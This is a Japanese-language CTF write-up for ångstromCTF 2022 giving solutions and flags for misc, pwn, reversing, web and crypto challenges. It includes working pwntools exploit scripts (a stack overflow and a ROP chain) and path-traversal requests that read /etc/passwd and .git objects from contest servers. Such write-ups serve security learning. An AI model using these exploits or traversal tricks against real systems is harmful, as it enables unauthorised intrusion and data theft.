ångstromCTF 2022 Writeup

この大会は2022/4/30 9:00(JST)~2022/5/5 9:00(JST)に開催されました。
今回もチームで参戦。結果は1091点で1180チーム中206位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (MISC 10)

Discordに入り、#rolesチャネルのメッセージにフラグアイコンでリアクションすると、たくさんのチャネルが現れる。#generalチャネルのトピックを見ると、フラグが書いてあった。

actf{sice_deets_and_capture_flags}

Interwebz (MISC 20)

ncで接続するだけ。

$ nc challs.actf.co 31335
actf{plugged_in_and_ready_to_go}

Confetti (MISC 40)

$ binwalk confetti.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 3971 x 2918, 8-bit/color RGBA, non-interlaced
115           0x73            Zlib compressed data, default compression
967339        0xEC2AB         PNG image, 3971 x 2918, 8-bit/color RGBA, non-interlaced
967454        0xEC31E         Zlib compressed data, default compression
1934678       0x1D8556        PNG image, 3971 x 2918, 8-bit/color RGBA, non-interlaced
1934732       0x1D858C        TIFF image data, big-endian, offset of first image directory: 8
1935040       0x1D86C0        Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#">
3180408       0x308778        PNG image, 3971 x 2918, 8-bit/color RGBA, non-interlaced
3180523       0x3087EB        Zlib compressed data, default compression

pngが複数含まれている。4つのpngを抽出し、それぞれStegsolveで開いてみる。3つ目のpngのAlpha plane 7でフラグを確認することができた。

actf{confetti_4_u}

amongus (MISC 40)

$ tar -zxf amongus.tar.gz
$ cd out
$ md5sum * > hash.txt
$ cat hash.txt
56f9fc5e1e5e02492fb9d5e7b8dbe13b  actf{look1ng_f0r_answers_in_the_p0uring_r4in_001a5e03f1d9}.txt
56f9fc5e1e5e02492fb9d5e7b8dbe13b  actf{look1ng_f0r_answers_in_the_p0uring_r4in_007ede72ab2d}.txt
56f9fc5e1e5e02492fb9d5e7b8dbe13b  actf{look1ng_f0r_answers_in_the_p0uring_r4in_00965747d583}.txt
        :
56f9fc5e1e5e02492fb9d5e7b8dbe13b  actf{look1ng_f0r_answers_in_the_p0uring_r4in_b205645b3ad8}.txt
668cb9edd4cd2c7f5f66bee312bd1988  actf{look1ng_f0r_answers_in_the_p0uring_r4in_b21f9732f829}.txt
56f9fc5e1e5e02492fb9d5e7b8dbe13b  actf{look1ng_f0r_answers_in_the_p0uring_r4in_b28d14a08b47}.txt
        :
56f9fc5e1e5e02492fb9d5e7b8dbe13b  actf{look1ng_f0r_answers_in_the_p0uring_r4in_ff9a5edd134a}.txt
56f9fc5e1e5e02492fb9d5e7b8dbe13b  actf{look1ng_f0r_answers_in_the_p0uring_r4in_fff81cb463ea}.txt
56f9fc5e1e5e02492fb9d5e7b8dbe13b  actf{look1ng_f0r_answers_in_the_p0uring_r4in_fff9bb3b7940}.txt

1つだけmd5の値が異なるものがある。

actf{look1ng_f0r_answers_in_the_p0uring_r4in_b21f9732f829}

Shark 1 (MISC 70)

TCPパケットでTCP Streamを見る。

Hello!
Here is the flag:
actf{wireshark_doo_doo_doo_doo_doo_doo}
actf{wireshark_doo_doo_doo_doo_doo_doo}

Shark 2 (MISC 70)

パケットNo.38にjpgが含まれているのがわかる。
以下でフィルタリングし、分断されたjpgをエクスポートする。

tcp.stream eq 2 && ip.dst==10.0.2.15

エクスポートしたファイルを結合する。

$ cat *.bin > flag.jpg

結合した画像にフラグが書いてあった。

actf{i_see_you}

whatsmyname (PWN 50)

yourNameで48バイトを入力して、myNameをリークして、guessにこの値を入力すればよい。100%ではないが、何回か実行すると成功する。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challs.actf.co', 31223)
else:
    p = process('./whatsmyname')

BUFLEN = 48
payload = 'A' * BUFLEN

data = p.recvuntil(b'? ').decode()
print(data + payload)
p.sendline(payload.encode())
data = p.recvuntil(b'!\n').rstrip()
print(data)
myName = data[len('Nice to meet you, ') + BUFLEN:-1]

data = p.recvuntil(b'!\n').rstrip().decode()
print(data)
print(myName)
p.sendline(myName)
data = p.recvuntil(b'\n').rstrip().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to challs.actf.co on port 31223: Done
Hi! What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
b'Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x92!\xd9\x08\xea])&?]:\xceQA6\xd9\xff\x84\xd9\xde\xcb\xb2\xc3^\xc8]\xb1\xb2aGj\xf1\x01\x8f\xdc#\x06\xfb\x97\xb8\xba\xe0O\xe2\xc6\x10^!'
Guess my name and you'll get a flag!
b'\x92!\xd9\x08\xea])&?]:\xceQA6\xd9\xff\x84\xd9\xde\xcb\xb2\xc3^\xc8]\xb1\xb2aGj\xf1\x01\x8f\xdc#\x06\xfb\x97\xb8\xba\xe0O\xe2\xc6\x10^'
actf{i_c0uld_be_l0nely_with_y0u_a21f8611c74b}
[*] Closed connection to challs.actf.co port 31223
actf{i_c0uld_be_l0nely_with_y0u_a21f8611c74b}

wah (PWN 100)

$ file wah
wah: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e949b6182d3dd788fe7b74c45855517dbd5e60ef, for GNU/Linux 3.2.0, not stripped

$ checksec.sh --file wah
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   wah

BOFでflag関数をコールする。

$ gdb -q ./wah
Reading symbols from ./wah...(no debugging symbols found)...done.
gdb-peda$ pattc 64
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/wah 
Cry: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7dcda00 --> 0xfbad2288 
RDX: 0x7ffff7dcf8d0 --> 0x0 
RSI: 0x405261 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH\n")
RDI: 0x7fffffffdde1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH")
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffde08 ("AA0AAFAAbAA1AAGAAcAA2AAH")
RIP: 0x40130f (<main+108>:	ret)
R8 : 0x4052a1 --> 0x0 
R9 : 0x7ffff7fde4c0 (0x00007ffff7fde4c0)
R10: 0x405010 --> 0x0 
R11: 0x246 
R12: 0x401150 (<_start>:	endbr64)
R13: 0x7fffffffdee0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401304 <main+97>:	call   0x401110 <gets@plt>
   0x401309 <main+102>:	mov    eax,0x0
   0x40130e <main+107>:	leave  
=> 0x40130f <main+108>:	ret    
   0x401310 <__libc_csu_init>:	endbr64 
   0x401314 <__libc_csu_init+4>:	push   r15
   0x401316 <__libc_csu_init+6>:	
    lea    r15,[rip+0x2af3]        # 0x403e10
   0x40131d <__libc_csu_init+13>:	push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde08 ("AA0AAFAAbAA1AAGAAcAA2AAH")
0008| 0x7fffffffde10 ("bAA1AAGAAcAA2AAH")
0016| 0x7fffffffde18 ("AcAA2AAH")
0024| 0x7fffffffde20 --> 0x100008000 
0032| 0x7fffffffde28 --> 0x4012a3 (<main>:	endbr64)
0040| 0x7fffffffde30 --> 0x0 
0048| 0x7fffffffde38 --> 0xfed15ad9b06b6601 
0056| 0x7fffffffde40 --> 0x401150 (<_start>:	endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040130f in main ()
gdb-peda$ patto AA0AAFAAbAA1AAGAAcAA2AAH
AA0AAFAAbAA1AAGAAcAA2AAH found at offset: 40
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challs.actf.co', 31224)
else:
    p = process('./wah')

elf = ELF('./wah')

flag_addr = elf.symbols['flag']

payload = b'A' * 40
payload += p64(flag_addr)

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().rstrip().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to challs.actf.co on port 31224: Done
[*] '/mnt/hgfs/Shared/wah'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Cry: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6\x12@\x00\x00\x00\x00\x00'
actf{lo0k_both_w4ys_before_y0u_cros5_my_m1nd_c9a2c82aba6e}
[*] Closed connection to challs.actf.co port 31224
actf{lo0k_both_w4ys_before_y0u_cros5_my_m1nd_c9a2c82aba6e}

really obnoxious problem (PWN 140)

$ file really_obnoxious_problem 
really_obnoxious_problem: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=68a03ea49b13ce8b18ce051710ffd72097f13786, for GNU/Linux 3.2.0, not stripped

$ checksec.sh --file really_obnoxious_problem 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   really_obnoxious_problem

Ghidraでデコンパイルする。

undefined8 main(void)

{
  setbuf(stdout,(char *)0x0);
  vuln();
  return 0;
}

void vuln(void)

{
  char local_48 [64];
  
  printf("Name: ");
  __isoc99_scanf(&DAT_00402035,name);
  getchar();
  printf("Address: ");
  gets(local_48);
  return;
}

void flag(int param_1,char *param_2)

{
  int iVar1;
  char local_98 [136];
  FILE *local_10;
  
  if (param_1 == 0x1337) {
    iVar1 = strncmp(param_2,"bobby",5);
    if (iVar1 == 0) {
      local_10 = fopen("flag.txt","r");
      if (local_10 == (FILE *)0x0) {
        puts("Error: missing flag.txt.");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      fgets(local_98,0x80,local_10);
      puts(local_98);
    }
  }
  return;
}

BOFでflag関数をコールする。ただし、第1引数に0x1337、第2引数に"boddy"を指定する必要があるため、ROPを使って、引数渡しを行う。

$ ROPgadget --binary really_obnoxious_problem --re "pop rdi"
Gadgets information
============================================================
0x00000000004013f3 : pop rdi ; ret

Unique gadgets found: 1

$ ROPgadget --binary really_obnoxious_problem --re "pop rsi"
Gadgets information
============================================================
0x00000000004013f1 : pop rsi ; pop r15 ; ret

Unique gadgets found: 1
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challs.actf.co', 31225)
else:
    p = process('./really_obnoxious_problem')

elf = ELF('./really_obnoxious_problem')

flag_addr = elf.symbols['flag']
bobby_addr = next(elf.search(b"bobby"))
offset = 72
pop_rdi = 0x4013f3
pop_rsi = 0x4013f1

name = b'hoge'
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(0x1337)
payload += p64(pop_rsi)
payload += p64(bobby_addr)
payload += p64(0)
payload += p64(flag_addr)

data = p.recvuntil(b': ').decode()
print(data + name.decode())
p.sendline(name)
data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().rstrip().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to challs.actf.co on port 31225: Done
[*] '/mnt/hgfs/Shared/really_obnoxious_problem'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Name: hoge
Address: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf3\x13@\x00\x00\x00\x00\x007\x13\x00\x00\x00\x00\x00\x00\xf1\x13@\x00\x00\x00\x00\x00\x04 @\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00V\x12@\x00\x00\x00\x00\x00'
actf{so_swe3t_so_c0ld_so_f4ir_7167cfa2c019}
[*] Closed connection to challs.actf.co port 31225
actf{so_swe3t_so_c0ld_so_f4ir_7167cfa2c019}

baby3 (REV 40)

$ strings chall | grep actf -A 6
actf{emhH
paidmezeH
rodollarH
stomaketH
hischallH
enge_amoH
gus}
actf{emhpaidmezerodollarstomakethischallenge_amogus}

Number Game (REV 70)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  undefined8 uVar2;
  size_t sVar3;
  char local_58 [72];
  int local_10;
  int local_c;
  
  puts("Welcome to clam\'s number game!");
  printf("Step right up and guess your first number: ");
  fflush(stdout);
  local_c = read_int();
  if (local_c == 0x12b9b0a1) {
    printf("That\'s great, but can you follow it up? ");
    fflush(stdout);
    local_10 = read_int();
    if (local_10 + local_c == 0x1e996cc9) {
      puts("That was the easy part. Now, what\'s the 42nd number of the Maltese alphabet?");
      getchar();
      fgets(local_58,0x40,stdin);
      sVar3 = strcspn(local_58,"\n");
      local_58[sVar3] = '\0';
      iVar1 = strcmp(local_58,"the airspeed velocity of an unladen swallow");
      if (iVar1 == 0) {
        puts("How... how did you get that? That reference doesn\'t even make sense...");
        puts("Whatever, you can have your flag I guess.");
        print_flag();
        uVar2 = 0;
      }
      else {
        puts("Ha! I knew I would get you there!");
        uVar2 = 1;
      }
    }
    else {
      puts("Sorry but you didn\'t win :(");
      uVar2 = 1;
    }
  }
  else {
    puts("Sorry but you didn\'t win :(");
    uVar2 = 1;
  }
  return uVar2;
}
>>> 0x12b9b0a1
314159265
>>> 0x1e996cc9 - 0x12b9b0a1
199212072

以下の順で入力する必要がある。

1つ目:314159265
2つ目:199212072
3つ目:the airspeed velocity of an unladen swallow
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challs.actf.co', 31334)
else:
    p = process('./number-game')

ans1 = 0x12b9b0a1
ans2 = 0x1e996cc9 - 0x12b9b0a1
ans3 = 'the airspeed velocity of an unladen swallow'

data = p.recvuntil(b': ').decode()
print(data + str(ans1))
p.sendline(str(ans1).encode())
data = p.recvuntil(b'? ').decode()
print(data + str(ans2))
p.sendline(str(ans2).encode())
data = p.recvline().rstrip().decode()
print(data)
print(ans3)
p.sendline(str(ans3).encode())
for _ in range(3):
    data = p.recvline().rstrip().decode()
    print(data)

実行結果は以下の通り。

[+] Opening connection to challs.actf.co on port 31334: Done
Welcome to clam's number game!
Step right up and guess your first number: 314159265
That's great, but can you follow it up? 199212072
That was the easy part. Now, what's the 42nd number of the Maltese alphabet?
the airspeed velocity of an unladen swallow
How... how did you get that? That reference doesn't even make sense...
Whatever, you can have your flag I guess.
actf{it_turns_out_you_dont_need_source_huh}
[*] Closed connection to challs.actf.co port 31334
actf{it_turns_out_you_dont_need_source_huh}

The Flash (WEB 40)

一瞬フラグの箇所に別の文字列が表示される。
Chromeデベロッパーツールを使用する。「要素」タブでフラグ表示の該当する箇所で右クリックし、「ブレークポイントの位置」から「サブツリーの変更」を選択する。あとはデバッグしながら処理を進めると、フラグが表示される。

actf{sp33dy_l1ke_th3_fl4sh}

Auth Skip (WEB 40)

ログイン画面であるが、クッキーのuserキーに"admin"を設定しておけばフラグが表示される。

$ curl https://auth-skip.web.actf.co/ -b 'user=admin'
actf{passwordless_authentication_is_the_new_hip_thing}
actf{passwordless_authentication_is_the_new_hip_thing}

crumbs (WEB 50)

https://crumbs.web.actf.co/にアクセスしたら、以下のように表示された。

Go to 61f57d99-6d8e-4e5e-bfc1-995dc358fce7

https://crumbs.web.actf.co/61f57d99-6d8e-4e5e-bfc1-995dc358fce7にアクセスすると、以下のように表示された。

Go to 24c73741-cdd9-4c76-bf79-fb82304a6ceb

これを1000回繰り返すと、フラグにたどり着けるはず。

#!/usr/bin/env python3
import requests

base_url = 'https://crumbs.web.actf.co/'

r = requests.get(base_url)
uuid = r.text.split(' ')[-1]

for i in range(1000):
    url = base_url + uuid
    r = requests.get(url)
    uuid = r.text.split(' ')[-1]
    if i % 100 == 99:
        print('[+] %04d' % (i + 1), uuid)

url = base_url + uuid
r = requests.get(url)
flag = r.text
print('[*] flag:', flag)

実行結果は以下の通り。

[+] 0100 7ce8af8b-8d12-4026-8e66-03ba36eadf14
[+] 0200 4314fcd6-13f3-4db0-ad78-c41b7fc212db
[+] 0300 bf6879cb-72e6-45a9-a680-07ac4d80058e
[+] 0400 3e0f259d-06ea-4ca4-9ac6-c794237950a7
[+] 0500 90074949-37a3-4888-99d8-b7dcaffce8d3
[+] 0600 8a8585be-6c0d-4ef3-a903-d9fb9645b295
[+] 0700 cd5a4b44-8a82-4ea1-aa18-62d421a4e713
[+] 0800 21c59711-11d7-4922-97ea-784ca69d4351
[+] 0900 9bde1008-212e-4940-89a0-d1f20d49d24a
[+] 1000 0f91fd8b-9546-445b-80f4-86405ddff9a0
[*] flag: actf{w4ke_up_to_th3_m0on_6bdc10d7c6d5}
actf{w4ke_up_to_th3_m0on_6bdc10d7c6d5}

Art Gallery (WEB 100)

"aplet"を選択して、Submitすると、https://art-gallery.web.actf.co/gallery?member=aplet.jpgに飛び、該当の画像が表示される。試しに/etc/passwdが見れないか確認してみる。

$ curl https://art-gallery.web.actf.co/gallery?member=../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

問題文から考えると、gitが関係ありそう。

$ curl https://art-gallery.web.actf.co/gallery?member=../.git/HEAD
ref: refs/heads/master

$ curl https://art-gallery.web.actf.co/gallery?member=../.git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true

$ curl https://art-gallery.web.actf.co/gallery?member=../.git/refs/heads/master
1c584170fb33ae17a63e22456f19601efb1f23db

$ wget https://art-gallery.web.actf.co/gallery?member=../.git/objects/1c/584170fb33ae17a63e22456f19601efb1f23db -O 584170fb33ae17a63e22456f19601efb1f23db
--2022-05-03 11:51:37--  https://art-gallery.web.actf.co/gallery?member=../.git/objects/1c/584170fb33ae17a63e22456f19601efb1f23db
art-gallery.web.actf.co (art-gallery.web.actf.co) をDNSに問いあわせています... 35.194.95.171
art-gallery.web.actf.co (art-gallery.web.actf.co)|35.194.95.171|:443 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 179 [application/octet-stream]
`584170fb33ae17a63e22456f19601efb1f23db' に保存中

584170fb33ae17a63e2 100%[==================>]     179  --.-KB/s    時間 0s    

2022-05-03 11:51:38 (64.1 MB/s) - `584170fb33ae17a63e22456f19601efb1f23db' へ保存完了 [179/179]

$ python -c 'import zlib; print zlib.decompress(open("584170fb33ae17a63e22456f19601efb1f23db").read())'
commit 220tree 56e8e4282f1e92b8f9e7183771f73777fb3b78ef
parent 713a4aba8af38c9507ced6ea41f602b105ca4101
author imposter <sus@aplet.me> 1651024065 -0400
committer fraendt <zhangpatrick2004@gmail.com> 1651024065 -0400

bury secrets

$ wget https://art-gallery.web.actf.co/gallery?member=../.git/objects/56/e8e4282f1e92b8f9e7183771f73777fb3b78ef -O e8e4282f1e92b8f9e7183771f73777fb3b78ef
--2022-05-03 11:58:06--  https://art-gallery.web.actf.co/gallery?member=../.git/objects/56/e8e4282f1e92b8f9e7183771f73777fb3b78ef
art-gallery.web.actf.co (art-gallery.web.actf.co) をDNSに問いあわせています... 35.194.95.171
art-gallery.web.actf.co (art-gallery.web.actf.co)|35.194.95.171|:443 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 211 [application/octet-stream]
`e8e4282f1e92b8f9e7183771f73777fb3b78ef' に保存中

e8e4282f1e92b8f9e71 100%[==================>]     211  --.-KB/s    時間 0s    

2022-05-03 11:58:08 (63.7 MB/s) - `e8e4282f1e92b8f9e7183771f73777fb3b78ef' へ保存完了 [211/211]

$ python -c 'import zlib; print zlib.decompress(open("e8e4282f1e92b8f9e7183771f73777fb3b78ef").read())' | xxd -g 1
00000000: 74 72 65 65 20 32 33 30 00 31 30 30 36 34 34 20  tree 230.100644 
00000010: 65 72 72 6f 72 2e 68 74 6d 6c 00 8a ba 39 c0 cc  error.html...9..
00000020: 9e 4e 48 35 79 6f f0 1b 98 c8 6b 8b c8 1b 01 34  .NH5yo....k....4
00000030: 30 30 30 30 20 69 6d 61 67 65 73 00 5c 1f f2 69  0000 images.\..i
00000040: bd dd 32 db e3 17 22 b4 99 18 99 47 fb d8 34 6a  ..2..."....G..4j
00000050: 31 30 30 36 34 34 20 69 6e 64 65 78 2e 68 74 6d  100644 index.htm
00000060: 6c 00 36 78 13 65 ca fa e9 3b 3c d8 db c5 45 0e  l.6x.e...;<...E.
00000070: 62 c0 eb 57 ae ea 31 30 30 36 34 34 20 69 6e 64  b..W..100644 ind
00000080: 65 78 2e 6a 73 00 3f bb 55 7e 55 58 ae c5 62 95  ex.js.?.U~UX..b.
00000090: c7 f5 7e 2d 53 f4 51 d7 76 cc 31 30 30 36 34 34  ..~-S.Q.v.100644
000000a0: 20 70 61 63 6b 61 67 65 2d 6c 6f 63 6b 2e 6a 73   package-lock.js
000000b0: 6f 6e 00 a5 b3 c0 37 85 73 62 15 a4 ba a6 74 0b  on....7.sb....t.
000000c0: 5e 59 5e ac 72 ec c1 31 30 30 36 34 34 20 70 61  ^Y^.r..100644 pa
000000d0: 63 6b 61 67 65 2e 6a 73 6f 6e 00 ab 8a d5 c7 ab  ckage.json......
000000e0: 55 aa 2d 66 b9 c4 a9 04 1f 13 e2 98 a3 c1 8f 0a  U.-f............

$ wget https://art-gallery.web.actf.co/gallery?member=../.git/objects/71/3a4aba8af38c9507ced6ea41f602b105ca4101 -O 3a4aba8af38c9507ced6ea41f602b105ca4101
--2022-05-03 11:59:59--  https://art-gallery.web.actf.co/gallery?member=../.git/objects/71/3a4aba8af38c9507ced6ea41f602b105ca4101
art-gallery.web.actf.co (art-gallery.web.actf.co) をDNSに問いあわせています... 35.194.95.171
art-gallery.web.actf.co (art-gallery.web.actf.co)|35.194.95.171|:443 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 184 [application/octet-stream]
`3a4aba8af38c9507ced6ea41f602b105ca4101' に保存中

3a4aba8af38c9507ced 100%[==================>]     184  --.-KB/s    時間 0s    

2022-05-03 12:00:00 (62.4 MB/s) - `3a4aba8af38c9507ced6ea41f602b105ca4101' へ保存完了 [184/184]

$ python -c 'import zlib; print zlib.decompress(open("3a4aba8af38c9507ced6ea41f602b105ca4101").read())'
commit 228tree 56e8e4282f1e92b8f9e7183771f73777fb3b78ef
parent 56449caeb7973b88f20d67b4c343cbb895aa6bc7
author imposter <sus@aplet.me> 1651023888 -0400
committer fraendt <zhangpatrick2004@gmail.com> 1651023888 -0400

remove vital secrets

$ wget https://art-gallery.web.actf.co/gallery?member=../.git/objects/56/449caeb7973b88f20d67b4c343cbb895aa6bc7 -O 449caeb7973b88f20d67b4c343cbb895aa6bc7
--2022-05-03 12:01:35--  https://art-gallery.web.actf.co/gallery?member=../.git/objects/56/449caeb7973b88f20d67b4c343cbb895aa6bc7
art-gallery.web.actf.co (art-gallery.web.actf.co) をDNSに問いあわせています... 35.194.95.171
art-gallery.web.actf.co (art-gallery.web.actf.co)|35.194.95.171|:443 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 144 [application/octet-stream]
`449caeb7973b88f20d67b4c343cbb895aa6bc7' に保存中

449caeb7973b88f20d6 100%[==================>]     144  --.-KB/s    時間 0s    

2022-05-03 12:01:36 (66.5 MB/s) - `449caeb7973b88f20d67b4c343cbb895aa6bc7' へ保存完了 [144/144]

$ python -c 'import zlib; print zlib.decompress(open("449caeb7973b88f20d67b4c343cbb895aa6bc7").read())'
commit 171tree ff511529549e4a9376c897df27e001a909caa933
author imposter <sus@aplet.me> 1651023841 -0400
committer fraendt <zhangpatrick2004@gmail.com> 1651023841 -0400

add program

$ wget https://art-gallery.web.actf.co/gallery?member=../.git/objects/ff/511529549e4a9376c897df27e001a909caa933 -O 511529549e4a9376c897df27e001a909caa933
--2022-05-03 12:04:40--  https://art-gallery.web.actf.co/gallery?member=../.git/objects/ff/511529549e4a9376c897df27e001a909caa933
art-gallery.web.actf.co (art-gallery.web.actf.co) をDNSに問いあわせています... 35.194.95.171
art-gallery.web.actf.co (art-gallery.web.actf.co)|35.194.95.171|:443 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 243 [application/octet-stream]
`511529549e4a9376c897df27e001a909caa933' に保存中

511529549e4a9376c89 100%[==================>]     243  --.-KB/s    時間 0s    

2022-05-03 12:04:41 (119 MB/s) - `511529549e4a9376c897df27e001a909caa933' へ保存完了 [243/243]

$ python -c 'import zlib; print zlib.decompress(open("511529549e4a9376c897df27e001a909caa933").read())' | xxd -g 1
00000000: 74 72 65 65 20 32 36 36 00 31 30 30 36 34 34 20  tree 266.100644 
00000010: 65 72 72 6f 72 2e 68 74 6d 6c 00 8a ba 39 c0 cc  error.html...9..
00000020: 9e 4e 48 35 79 6f f0 1b 98 c8 6b 8b c8 1b 01 31  .NH5yo....k....1
00000030: 30 30 36 34 34 20 66 6c 61 67 2e 74 78 74 00 78  00644 flag.txt.x
00000040: 0f 86 47 15 09 9a 76 12 ef ae 3a 3c db cc de 05  ..G...v...:<....
00000050: a0 ad c4 34 30 30 30 30 20 69 6d 61 67 65 73 00  ...40000 images.
00000060: 5c 1f f2 69 bd dd 32 db e3 17 22 b4 99 18 99 47  \..i..2..."....G
00000070: fb d8 34 6a 31 30 30 36 34 34 20 69 6e 64 65 78  ..4j100644 index
00000080: 2e 68 74 6d 6c 00 36 78 13 65 ca fa e9 3b 3c d8  .html.6x.e...;<.
00000090: db c5 45 0e 62 c0 eb 57 ae ea 31 30 30 36 34 34  ..E.b..W..100644
000000a0: 20 69 6e 64 65 78 2e 6a 73 00 3f bb 55 7e 55 58   index.js.?.U~UX
000000b0: ae c5 62 95 c7 f5 7e 2d 53 f4 51 d7 76 cc 31 30  ..b...~-S.Q.v.10
000000c0: 30 36 34 34 20 70 61 63 6b 61 67 65 2d 6c 6f 63  0644 package-loc
000000d0: 6b 2e 6a 73 6f 6e 00 a5 b3 c0 37 85 73 62 15 a4  k.json....7.sb..
000000e0: ba a6 74 0b 5e 59 5e ac 72 ec c1 31 30 30 36 34  ..t.^Y^.r..10064
000000f0: 34 20 70 61 63 6b 61 67 65 2e 6a 73 6f 6e 00 ab  4 package.json..
00000100: 8a d5 c7 ab 55 aa 2d 66 b9 c4 a9 04 1f 13 e2 98  ....U.-f........
00000110: a3 c1 8f 0a                                      ....

flag.txtがあるようだ。

$ wget https://art-gallery.web.actf.co/gallery?member=../.git/objects/78/0f864715099a7612efae3a3cdbccde05a0adc4 -O 0f864715099a7612efae3a3cdbccde05a0adc4
--2022-05-03 12:07:17--  https://art-gallery.web.actf.co/gallery?member=../.git/objects/78/0f864715099a7612efae3a3cdbccde05a0adc4
art-gallery.web.actf.co (art-gallery.web.actf.co) をDNSに問いあわせています... 35.194.95.171
art-gallery.web.actf.co (art-gallery.web.actf.co)|35.194.95.171|:443 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 59 [application/octet-stream]
`0f864715099a7612efae3a3cdbccde05a0adc4' に保存中

0f864715099a7612efa 100%[==================>]      59  --.-KB/s    時間 0s    

2022-05-03 12:07:17 (30.6 MB/s) - `0f864715099a7612efae3a3cdbccde05a0adc4' へ保存完了 [59/59]

$ python -c 'import zlib; print zlib.decompress(open("0f864715099a7612efae3a3cdbccde05a0adc4").read())'
blob 45actf{lfi_me_alone_and_git_out_341n4kaf5u59v}
actf{lfi_me_alone_and_git_out_341n4kaf5u59v}

Caesar and Desister (CRYPTO 40)

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 18:
actf{stop_right_there_cryptographer_scum}
actf{stop_right_there_cryptographer_scum}

Randomly Sampled Algorithm (CRYPTO 70)

RSA暗号。n, e, c, phiがわかっているので、通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

